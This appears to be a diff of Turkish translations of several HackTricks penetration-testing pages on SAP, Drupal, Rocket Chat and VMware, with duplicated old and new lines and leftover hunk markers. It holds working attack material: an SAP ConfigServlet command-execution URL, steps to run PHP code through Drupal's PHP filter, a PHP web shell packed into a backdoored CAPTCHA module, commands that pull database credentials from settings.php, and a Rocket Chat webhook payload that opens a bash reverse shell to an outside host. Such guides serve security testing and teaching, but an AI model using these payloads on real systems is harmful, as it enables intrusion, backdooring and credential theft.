* Web zafiyetlerini test etmek için Jason Haddixin [“The Bug Hunters Methodology”](https://github.com/jhaddix/tbhm) adlı çalışmasına göz atın.
* Fiil Manipülasyonu aracılığıyla Kimlik Doğrulaması Atlatma? Belki de :)
* `http://SAP:50000/webdynpro/resources/sap.com/XXX/JWFTestAddAssignees#` adresini açın, "Seç" düğmesine tıklayın ve ardından açılan pencerede "Ara" düğmesine basın. SAP kullanıcılarının bir listesini görebilmelisiniz (Zafiyet Referansı: [ERPSCAN-16-010](https://erpscan.com/advisories/erpscan-16-010-sap-netweaver-7-4-information-disclosure/))
* Kimlik bilgileri HTTP üzerinden mi gönderiliyor? Eğer öyleyse, Bugcrowd'un [Zafiyet Derecelendirme Taksonomisi](https://bugcrowd.com/vulnerability-rating-taxonomy): Kırık Kimlik Doğrulama ve Oturum Yönetimi \| HTTP Üzerinden Zayıf Giriş İşlevi olarak kabul edilir. İpucu: [http://SAP:50000/startPage](http://sap:50000/startPage) veya giriş portallarına da göz atın :)
![SAP Başlangıç Sayfası](https://raw.githubusercontent.com/shipcod3/mySapAdventures/master/screengrabs/startPage.jpeg)
* Olası dizin listeleme veya kimlik doğrulama atlatma için `/irj/go/km/navigation/` adresini deneyin.
* [http://SAP/sap/public/info](http://sap/sap/public/info) bazı ilgi çekici bilgiler içerir:
* Olası dizin listeleme veya kimlik doğrulama atlatma için `/irj/go/km/navigation/` adresini deneyin
* [http://SAP/sap/public/info](http://sap/sap/public/info) bazı değerli bilgiler içerir:
```xml
<SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/">
<SOAP-ENV:Body>
@ -189,7 +193,7 @@ BWDEVELOPER:Down1oad:001
# Saldırı!
* Eski sunucularda veya Windows 2000 gibi eski teknolojilerde çalışıp çalışmadığını kontrol edin.
* Olası saldırılar / saldırılar için plan yapın, SAP keşfi için birçok Metasploit modülü \(yardımcı modüller\) ve exploitler bulunmaktadır:
* Olası saldırıları / saldırıları planlayın, SAP keşfi için birçok Metasploit modülü \(yardımcı modüller\) ve saldırılar bulunmaktadır:
```text
msf > search sap
Matching Modules
@ -254,13 +258,13 @@ exploit/windows/lpd/saplpd 2008-02
exploit/windows/misc/sap_2005_license 2009-08-01 great SAP Business One License Manager 2005 Buffer Overflow
exploit/windows/misc/sap_netweaver_dispatcher 2012-05-08 normal SAP NetWeaver Dispatcher DiagTraceR3Info Buffer Overflow
```
* Bilinen bazı zafiyetleri kullanmaya çalışın (Exploit-DB'ye göz atın) veya SAP Portal'da eski ama iyi olan "SAP ConfigServlet Uzaktan Kod Yürütme" gibi saldırıları deneyin:
* Bilinen bazı ıkları kullanmaya çalışın (Exploit-DB'ye göz atın) veya eski ama iyi olan "SAP ConfigServlet Uzak Kod Yürütme" saldırısını SAP Portalı'nda deneyin:
```text
http://example.com:50000/ctc/servlet/com.sap.ctc.util.ConfigServlet?param=com.sap.ctc.util.FileSystemConfig;EXECUTE_CMD;CMDLINE=uname -a
```
![SAP Config Servlet RCE](https://raw.githubusercontent.com/shipcod3/mySapAdventures/master/screengrabs/sap_rce.jpeg)
* Keşif aşamasında bizploit betiğinde `start` komutunu çalıştırmadan önce, zafiyet değerlendirmesi yapmak için aşağıdakileri de ekleyebilirsiniz:
* Keşif aşamasında `start` komutunu çalıştırmadan önce, zafiyet değerlendirmesi yapmak için aşağıdakileri de ekleyebilirsiniz:
```text
bizploit> plugins
bizploit/plugins> vulnassess all
@ -282,38 +286,41 @@ bizploit/plugins> start
bizploit/plugins> back
bizploit> start
```
# Test İçin Diğer Kullanışlı Araçlar
# Test Etme İçin Diğer Kullanışlı Araçlar
* [PowerSAP](https://github.com/airbus-seclab/powersap) - Sap güvenliğini değerlendirmek için Powershell aracı
* [Burp Suite](https://portswigger.net/burp) - dizin fuzzing ve web güvenliği değerlendirmeleri için olmazsa olmaz bir araç
* [pysap](https://github.com/SecureAuthCorp/pysap) - SAP ağ protokol paketlerini oluşturmak için Python kütüphanesi
* [pysap](https://github.com/SecureAuthCorp/pysap) - SAP ağ protokol paketleri oluşturmak için Python kütüphanesi
* [https://github.com/gelim/nmap-erpscan](https://github.com/gelim/nmap-erpscan) - Nmap'in SAP/ERP tespitine yardımcı olur
## Referanslar
* [Metasploit Kullanarak SAP Penetrasyon Testi](http://information.rapid7.com/rs/rapid7/images/SAP%20Penetration%20Testing%20Using%20Metasploit%20Final.pdf)
* [https://github.com/davehardy20/SAP-Stuff](https://github.com/davehardy20/SAP-Stuff) - Bizploit'i yarı otomatik hale getiren bir betik
* [SAP NetWeaver ABAP güvenlik yapılandırması bölüm 3: Uygulamaya erişim için varsayılan parolalar](https://erpscan.com/press-center/blog/sap-netweaver-abap-security-configuration-part-2-default-passwords-for-access-to-the-application/)
* [SAP güvenliği ile ilgili ABAP işlem kodlarının listesi](https://wiki.scn.sap.com/wiki/display/Security/List+of+ABAP-transaction+codes+related+to+SAP+security)
* [SAP Portal'ı Kırma](https://erpscan.com/wp-content/uploads/presentations/2012-HackerHalted-Breaking-SAP-Portal.pdf)
* [En İlginç SAP Zafiyetleri ve Saldırılarının İlk 10'u](https://erpscan.com/wp-content/uploads/presentations/2012-Kuwait-InfoSecurity-Top-10-most-interesting-vulnerabilities-and-attacks-in-SAP.pdf)
* [bizploit ile SAP ekosistemlerinin güvenliğini değerlendirme: Keşif](https://www.onapsis.com/blog/assessing-security-sap-ecosystems-bizploit-discovery)
* [SAP NetWeaver ABAP güvenlik yapılandırması bölüm 3: Uygulamaya erişim için varsayılan şifreler](https://erpscan.com/press-center/blog/sap-netweaver-abap-security-configuration-part-2-default-passwords-for-access-to-the-application/)
* [SAP güvenliği ile ilgili ABAP işlem kodu listesi](https://wiki.scn.sap.com/wiki/display/Security/List+of+ABAP-transaction+codes+related+to+SAP+security)
* [SAP Portalı Kırma](https://erpscan.com/wp-content/uploads/presentations/2012-HackerHalted-Breaking-SAP-Portal.pdf)
* [En ilginç SAP zayıflıkları ve saldırılarının ilk 10'u](https://erpscan.com/wp-content/uploads/presentations/2012-Kuwait-InfoSecurity-Top-10-most-interesting-vulnerabilities-and-attacks-in-SAP.pdf)
* [Bizploit ile SAP ekosistemlerinin güvenliğini değerlendirme: Keşif](https://www.onapsis.com/blog/assessing-security-sap-ecosystems-bizploit-discovery)
* [https://www.exploit-db.com/docs/43859](https://www.exploit-db.com/docs/43859)
* [https://resources.infosecinstitute.com/topic/pen-stesting-sap-applications-part-1/](https://resources.infosecinstitute.com/topic/pen-stesting-sap-applications-part-1/)
* [https://github.com/shipcod3/mySapAdventures](https://github.com/shipcod3/mySapAdventures)
<figure><img src="/.gitbook/assets/WebSec_1500x400_10fps_21sn_lightoptimized_v2.gif" alt=""><figcaption></figcaption></figure>
{% embed url="https://websec.nl/" %}
<details>
<summary><strong>AWS hacklemeyi sıfırdan kahraman olmak için</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>öğrenin!</strong></summary>
<summary><strong>Sıfırdan Kahraman'a AWS hackleme öğrenin</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
HackTricks'i desteklemenin diğer yolları:
* Şirketinizi HackTricks'te **reklamınızı görmek veya HackTricks'i PDF olarak indirmek** için [**ABONELİK PLANLARI**](https://github.com/sponsors/carlospolop)'na göz atın!
* [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family) koleksiyonumuz olan özel [**NFT'lerimizi**](https://opensea.io/collection/the-peass-family) keşfedin
* 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) katılın veya bizi **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**'da takip edin.**
* **Hacking hilelerinizi HackTricks ve HackTricks Cloud** github depolarına **PR göndererek paylaşın.**
* **Şirketinizi HackTricks'te reklamını görmek istiyorsanız** veya **HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARI**](https://github.com/sponsors/carlospolop)'na göz atın!
* [**Resmi PEASS & HackTricks ürünlerini alın**](https://peass.creator-spring.com)
* [**The PEASS Family'yi**](https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuz
* **💬 [Discord grubuna](https://discord.gg/hRep4RUj7f) veya [telegram grubuna](https://t.me/peass) katılın veya** bizi **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)** takip edin.**
* **Hacking püf noktalarınızı göndererek HackTricks ve HackTricks Cloud** github depolarına PR'lar göndererek **paylaşın**.
</details>

View file

@ -2,25 +2,30 @@
<details>
<summary><strong>AWS hacklemeyi sıfırdan kahramana öğrenin</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Kırmızı Takım Uzmanı)</strong></a><strong> ile!</strong></summary>
<summary><strong>AWS hackleme konusunda sıfırdan kahramana dönüşmek için</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong> öğrenin!</strong></summary>
HackTricks'ı desteklemenin diğer yolları:
HackTricks'i desteklemenin diğer yolları:
* **Şirketinizi HackTricks'te reklamınızı görmek istiyorsanız** veya **HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARI**]'na göz atın (https://github.com/sponsors/carlospolop)!
* **Şirketinizi HackTricks'te reklamını görmek istiyorsanız** veya **HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARI'na**](https://github.com/sponsors/carlospolop) göz atın!
* [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin
* [**The PEASS Ailesi**]'ni (https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**]'in (https://opensea.io/collection/the-peass-family) bulunduğu koleksiyonumuz
* **Katılın** 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) veya bizi **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)** takip edin.**
* **Hacking püf noktalarınızı paylaşarak PR'ler göndererek** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına katkıda bulunun.
* [**PEASS Ailesi'ni**](https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuz
* **💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) katılın veya [**telegram grubuna**](https://t.me/peass) katılın veya bizi **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)** takip edin.**
* **Hacking püf noktalarınızı paylaşarak PR'lar göndererek** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına katkıda bulunun.
</details>
<figure><img src="/.gitbook/assets/WebSec_1500x400_10fps_21sn_lightoptimized_v2.gif" alt=""><figcaption></figcaption></figure>
{% embed url="https://websec.nl/" %}
## Keşif
* **Meta**'yı kontrol edin
```bash
curl https://www.drupal.org/ | grep 'content="Drupal'
```
* **Node**: Drupal **içeriği düğümler kullanarak dizinler**. Bir düğüm herhangi bir şeyi içerebilir, örneğin bir blog yazısı, anket, makale vb. Sayfa URI'leri genellikle `/node/<düğüm kimliği>` şeklinde olur.
* **Node**: Drupal **içeriği düğümler kullanarak dizinler**. Bir düğüm herhangi bir şeyi içerebilir, örneğin bir blog yazısı, anket, makale vb. Sayfa URI'leri genellikle `/node/<düğüm kimliği>` şeklindedir.
```bash
curl drupal-site.com/node/1
```
@ -41,7 +46,7 @@ curl -s http://drupal-site.local/CHANGELOG.txt | grep -m2 ""
Drupal 7.57, 2018-02-21
```
{% hint style="info" %}
Drupal'ın daha yeni kurulumları varsayılan olarak `CHANGELOG.txt` ve `README.txt` dosyalarına erişimi engeller.
Drupal'ın daha yeni kurulumları, varsayılan olarak `CHANGELOG.txt` ve `README.txt` dosyalarına erişimi engeller.
{% endhint %}
### Kullanıcı adı numaralandırma
@ -72,8 +77,8 @@ _/user/\<number>_ adresine erişerek mevcut kullanıcı sayısını görebilirsi
### Gizli sayfalar
**`/node/$` şeklinde bir Fuzz yapın, burada `$` bir numaradır** (örneğin 1 ile 500 arasında).\
Bu şekilde **gizli sayfalar** (test, dev) bulabilirsiniz ki bunlar arama motorları tarafından referans alınmamıştır.
**`/node/$` şeklinde bir sorgulama yapın, burada `$` bir numaradır** (örneğin 1 ile 500 arasında).\
Bu şekilde **gizli sayfalar** (test, dev) bulabilirsiniz ki bunlar arama motorları tarafından referans gösterilmez.
#### Kurulu modüller bilgisi
```bash
@ -94,16 +99,16 @@ droopescan scan drupal -u http://drupal-site.local
### PHP Filtre Modülü ile
{% hint style="warning" %}
Drupal'ın **(8. sürümden önceki sürümlerinde)** eski sürümlerinde, bir yönetici olarak giriş yaparak **`PHP filtresi` modülünü etkinleştirmek** mümkündü, bu da "Gömülü PHP kodlarının değerlendirilmesine izin verir."
Drupal'ın **(8. sürümden önceki sürümlerinde)** eski versiyonlarında, bir yönetici olarak giriş yaparak **`PHP filtresi` modülünü etkinleştirmek** mümkündü, bu modül "Gömülü PHP kodlarını/snippet'leri değerlendirmeye olanak tanır."
{% endhint %}
**Eklentinin php olarak yüklü olması gerekmektedir** (bunu kontrol etmek için _/modules/php_ adresine erişerek kontrol edin ve eğer **403** hatası alırsanız, **mevcut**, eğer **bulunamazsa**, o zaman **php eklentisi yüklü değil demektir**)
**Eklenti php'nin yüklü olması gerekmektedir** (bunu kontrol etmek için _/modules/php_ adresine erişerek kontrol edin ve eğer **403** hatası alırsanız, **mevcut**, eğer **bulunamazsa**, o zaman **php eklentisi yüklü değildir**)
_Modüller_ -> (**Kontrol Et**) _PHP Filtresi_ -> _Yapılandırmayı Kaydet_
_Modüller_ sekmesine gidin -> (**Kontrol Et**) _PHP Filtresi_ -> _Yapılandırmayı Kaydet_
![](<../../.gitbook/assets/image (247) (1).png>)
Ardından _İçerik Ekle_'ye tıklayın -> _Temel Sayfa_ veya _Makale_ seçin -> _Gövdede php kabuk kodunu yazın_ -> _Metin biçiminde_ _PHP kodunu_ seçin -> _Önizleme_ seçin
Ardından _İçerik Ekle_ seçeneğine tıklayın -> _Temel Sayfa_ veya _Makale_ seçin -> _Gövdede php kabuk kodunu yazın_ -> _Metin formatı_ olarak _PHP kodu_ seçin -> _Önizleme_ seçeneğini seçin
![](<../../.gitbook/assets/image (335).png>)
@ -118,19 +123,19 @@ curl http://drupal-site.local/node/3
1. Modülün en güncel sürümünü Drupal web sitesinden indirin.
2. wget https://ftp.drupal.org/files/projects/php-8.x-1.1.tar.gz
3. İndirildikten sonra **`Yönetim`** > **`Raporlar`** > **`Kullanılabilir güncellemeler`** bölümüne gidin.
4. **`Göz at`**'a tıklayın, dosyayı indirdiğimiz dizinden seçin ve ardından **`Yükle`**'ye tıklayın.
5. Modül yüklendikten sonra **`İçerik`** üzerine tıklayarak **yeni bir temel sayfa oluşturun**, Drupal 7 örneğinde yaptığımız gibi. Yine, **`Metin biçimi`ılır menüsünden `PHP kodu`'nu seçtiğinizden emin olun**.
4. **`Göz at`**'e tıklayın, dosyayı indirdiğimiz dizinden seçin ve ardından **`Yükle`**'ye tıklayın.
5. Modül yüklendikten sonra **`İçerik`** üzerine tıklayarak **yeni bir temel sayfa oluşturabiliriz**, Drupal 7 örneğinde yaptığımız gibi. Yine, **`Metin biçimi`ılır menüsünden `PHP kodu`'nu seçtiğinizden emin olun**.
### Arka Kapılı Modül
Bir arka kapılı modül, **mevcut bir modüle bir kabuk ekleyerek oluşturulabilir**. Modüller drupal.org web sitesinde bulunabilir. [CAPTCHA](https://www.drupal.org/project/captcha) gibi bir modül seçelim. Aşağı doğru kaydırarak tar.gz [arşivi](https://ftp.drupal.org/files/projects/captcha-8.x-1.2.tar.gz) için bağlantıyı kopyalayın.
Bir arka kapılı modül, **mevcut bir modüle bir kabuk ekleyerek oluşturulabilir**. Modüller drupal.org web sitesinde bulunabilir. Örneğin [CAPTCHA](https://www.drupal.org/project/captcha) gibi bir modül seçelim. Aşağı doğru kaydırın ve tar.gz [arşivi](https://ftp.drupal.org/files/projects/captcha-8.x-1.2.tar.gz) için bağlantıyı kopyalayın.
* Arşivi indirin ve içeriğini çıkarın.
```
wget --no-check-certificate https://ftp.drupal.org/files/projects/captcha-8.x-1.2.tar.gz
tar xvf captcha-8.x-1.2.tar.gz
```
* İçeriği olan bir **PHP web kabuğu** oluşturun:
* İçeriğiyle birlikte bir **PHP web kabuğu** oluşturun:
```php
<?php
system($_GET["cmd"]);
@ -148,12 +153,12 @@ RewriteBase /
mv shell.php .htaccess captcha
tar cvf captcha.tar.gz captcha/
```
* Websiteye **yönetici erişimine** sahip olduğumuzu varsayarak, **`Yönet`** üzerine tıklayın ve ardından kenar çubuğunda **`Genişlet`** seçeneğine tıklayın. Daha sonra **`+ Yeni modül yükle`** düğmesine tıklayın ve yükleme sayfasına yönlendirileceksiniz, örneğin `http://drupal-site.local/admin/modules/install` Arkaplandan backdoor ekli Captcha arşivine göz atın ve **`Yükle`**'ye tıklayın.
* Yükleme başarılı olduktan sonra, komutları yürütmek için **`/modules/captcha/shell.php`** yoluna göz atın.
* Websiteye **yönetici erişimine** sahip olduğumuzu varsayarak, **`Yönet`** üzerine tıklayın ve ardından kenar çubuğunda **`Genişlet`** seçeneğine tıklayın. Daha sonra **`+ Yeni modül yükle`** düğmesine tıklayın ve yükleme sayfasına yönlendirileceksiniz, örneğin `http://drupal-site.local/admin/modules/install` Backdoored Captcha arşivine göz atın ve **`Yükle`**'ye tıklayın.
* Yükleme başarılı olduktan sonra, komutları yürütmek için **`/modules/captcha/shell.php`** sayfasına göz atın.
## Sonrası Sızma
### settings.php dosyasını okuyun
### settings.php Dosyasını Okuyun
```
find / -name settings.php -exec grep "drupal_hash_salt\|'database'\|'username'\|'password'\|'host'\|'port'\|'driver'\|'prefix'" {} \; 2>/dev/null
```
@ -165,16 +170,21 @@ mysql -u drupaluser --password='2r9u8hu23t532erew' -e 'use drupal; select * from
* [https://academy.hackthebox.com/module/113/section/1209](https://academy.hackthebox.com/module/113/section/1209)
<figure><img src="/.gitbook/assets/WebSec_1500x400_10fps_21sn_lightoptimized_v2.gif" alt=""><figcaption></figcaption></figure>
{% embed url="https://websec.nl/" %}
<details>
<summary><strong>Sıfırdan kahraman olmaya kadar AWS hackleme öğrenin</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary><strong>Sıfırdan kahramana kadar AWS hackleme öğrenin</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
HackTricks'ı desteklemenin diğer yolları:
* **Şirketinizi HackTricks'te reklamını görmek istiyorsanız** veya **HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARI**](https://github.com/sponsors/carlospolop)'na göz atın!
* **Şirketinizi HackTricks'te reklamınızı görmek istiyorsanız** veya **HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARI**](https://github.com/sponsors/carlospolop)'na göz atın!
* [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)'yi keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuz
* **Katılın** 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) veya bizi **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)** takip edin.**
* **Hacking püf noktalarınızı paylaşarak PR'ler göndererek** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına katkıda bulunun.
* [**The PEASS Family'yi**](https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuz
* **💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) katılın veya bizi **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)** takip edin.**
* **Hacking püf noktalarınızı paylaşarak PR'lar göndererek** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına katkıda bulunun.
</details>

View file

@ -6,24 +6,29 @@
HackTricks'ı desteklemenin diğer yolları:
* **Şirketinizi HackTricks'te reklamını görmek istiyorsanız** veya **HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARI**]'na(https://github.com/sponsors/carlospolop) göz atın!
* **Şirketinizi HackTricks'te reklamınızı görmek istiyorsanız** veya **HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARI**]'na(https://github.com/sponsors/carlospolop) göz atın!
* [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin
* [**PEASS Ailesi'ni**](https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuz
* **Katılın** 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) veya bizi **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)** takip edin.**
* **Hacking püf noktalarınızı paylaşarak PR göndererek** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına katkıda bulunun.
* **Katılın** 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) veya bizi **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)'da **takip edin**.
* **Hacking püf noktalarınızı paylaşarak PR'lar göndererek** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına katkıda bulunun.
</details>
<figure><img src="/.gitbook/assets/WebSec_1500x400_10fps_21sn_lightoptimized_v2.gif" alt=""><figcaption></figcaption></figure>
{% embed url="https://websec.nl/" %}
## RCE
Eğer Rocket Chat içinde yöneticiyseniz RCE alabilirsiniz.
Eğer Rocket Chat içinde adminseniz RCE alabilirsiniz.
* **`Entegrasyonlar`**'a gidin ve **`Yeni Entegrasyon`** seçin ve herhangi birini seçin: **`Gelen Web Kancası`** veya **`Giden Web Kancası`**.
* **`Integrations`**'a gidin ve **`New Integration`**'ı seçin ve herhangi birini seçin: **`Incoming WebHook`** veya **`Outgoing WebHook`**.
* `/admin/integrations/incoming`
<figure><img src="../../.gitbook/assets/image (263).png" alt=""><figcaption></figcaption></figure>
* [Belgelere](https://docs.rocket.chat/guides/administration/admin-panel/integrations) göre her ikisi de veriyi işlemek için ES2015 / ECMAScript 6 ([temelde JavaScript](https://codeburst.io/javascript-wtf-is-es6-es8-es-2017-ecmascript-dca859e4821c)) kullanır. Bu yüzden [javascript için bir rev shell](../../generic-methodologies-and-resources/shells/linux.md#nodejs) alalım:
* [Belgelere](https://docs.rocket.chat/guides/administration/admin-panel/integrations) göre, her ikisi de veriyi işlemek için ES2015 / ECMAScript 6 ([temelde JavaScript](https://codeburst.io/javascript-wtf-is-es6-es8-es-2017-ecmascript-dca859e4821c)) kullanır. Bu yüzden [javascript için bir rev shell](../../generic-methodologies-and-resources/shells/linux.md#nodejs) alalım:
```javascript
const require = console.log.constructor('return process.mainModule.require')();
const { exec } = require('child_process');
@ -44,16 +49,21 @@ exec("bash -c 'bash -i >& /dev/tcp/10.10.14.4/9001 0>&1'")
* Curl ile çağırın ve ters shell'i almalısınız
<figure><img src="/.gitbook/assets/WebSec_1500x400_10fps_21sn_lightoptimized_v2.gif" alt=""><figcaption></figcaption></figure>
{% embed url="https://websec.nl/" %}
<details>
<summary><strong>Sıfırdan kahraman olmak için AWS hackleme öğrenin</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary><strong>Sıfırdan kahraman olacak şekilde AWS hacklemeyi öğrenin</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
HackTricks'i desteklemenin diğer yolları:
* **Şirketinizi HackTricks'te reklamını görmek istiyorsanız** veya **HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARI**]'na (https://github.com/sponsors/carlospolop) göz atın!
* **Şirketinizi HackTricks'te reklamını görmek istiyorsanız** veya **HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARINI**](https://github.com/sponsors/carlospolop) kontrol edin!
* [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin
* [**The PEASS Family**]'yi (https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**]'i (https://opensea.io/collection/the-peass-family) içeren koleksiyonumuzu
* **💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) katılın veya bizi **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)** takip edin.**
* **Hacking püf noktalarınızı göndererek HackTricks** (https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına PR'lar gönderin.
* [**The PEASS Family'yi**](https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuz
* **💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) katılın veya bizi Twitter'da** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)** takip edin.**
* **Hacking püf noktalarınızı paylaşarak PR'lar göndererek** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına katkıda bulunun.
</details>

View file

@ -1,57 +1,50 @@
<details>
<summary><strong>AWS hacklemeyi sıfırdan kahraman olmak için</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Kırmızı Takım Uzmanı)</strong></a><strong> ile öğrenin!</strong></summary>
<summary><strong>Sıfırdan kahraman olmaya kadar AWS hacklemeyi öğrenin</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
HackTricks'ı desteklemenin diğer yolları:
* **Şirketinizi HackTricks'te reklamını görmek isterseniz** veya **HackTricks'i PDF olarak indirmek isterseniz** [**ABONELİK PLANLARI**](https://github.com/sponsors/carlospolop)'na göz atın!
* **Şirketinizi HackTricks'te reklamını görmek istiyorsanız** veya **HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARI**]'na (https://github.com/sponsors/carlospolop) göz atın!
* [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin
* [**The PEASS Ailesi'ni**](https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuz
* 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) **katılın** veya **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)'u **takip edin**.
* **Hacking hilelerinizi HackTricks ve HackTricks Cloud** github depolarına **PR göndererek paylaşın**.
* [**The PEASS Family**]'yi (https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**]'i (https://opensea.io/collection/the-peass-family) içeren koleksiyonumuz
* **💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) katılın veya bizi **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)'da **takip edin**.**
* **Hacking püf noktalarınızı paylaşarak PR'lar göndererek** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına katkıda bulunun.
</details>
<figure><img src="/.gitbook/assets/WebSec_1500x400_10fps_21sn_lightoptimized_v2.gif" alt=""><figcaption></figcaption></figure>
# Numaralandırma
```text
{% embed url="https://websec.nl/" %}
# Enumeration
```bash
nmap -sV --script "http-vmware-path-vuln or vmware-version" -p <PORT> <IP>
msf> use auxiliary/scanner/vmware/esx_fingerprint
msf> use auxiliary/scanner/http/ms15_034_http_sys_memory_dump
```
# Bruteforce
Bruteforce, ağ servislerini hedef alarak kullanıcı adı ve şifre kombinasyonlarını deneyerek yetkisiz erişim elde etme yöntemidir. Bu saldırı türü, oturum açma formlarında veya kimlik doğrulama mekanizmalarında zayıf veya tahmin edilebilir şifreler kullanıldığında etkili olabilir.
Bruteforce saldırıları, genellikle otomatik araçlar veya özel yazılımlar kullanılarak gerçekleştirilir. Bu araçlar, belirli bir kullanıcı adı listesi ve şifre sözlüğü üzerinde deneme yanılma yöntemiyle oturum açma girişimlerinde bulunur. Saldırganlar, kullanıcı adı ve şifre kombinasyonlarını sürekli olarak deneyerek doğru kombinasyonu bulana kadar devam ederler.
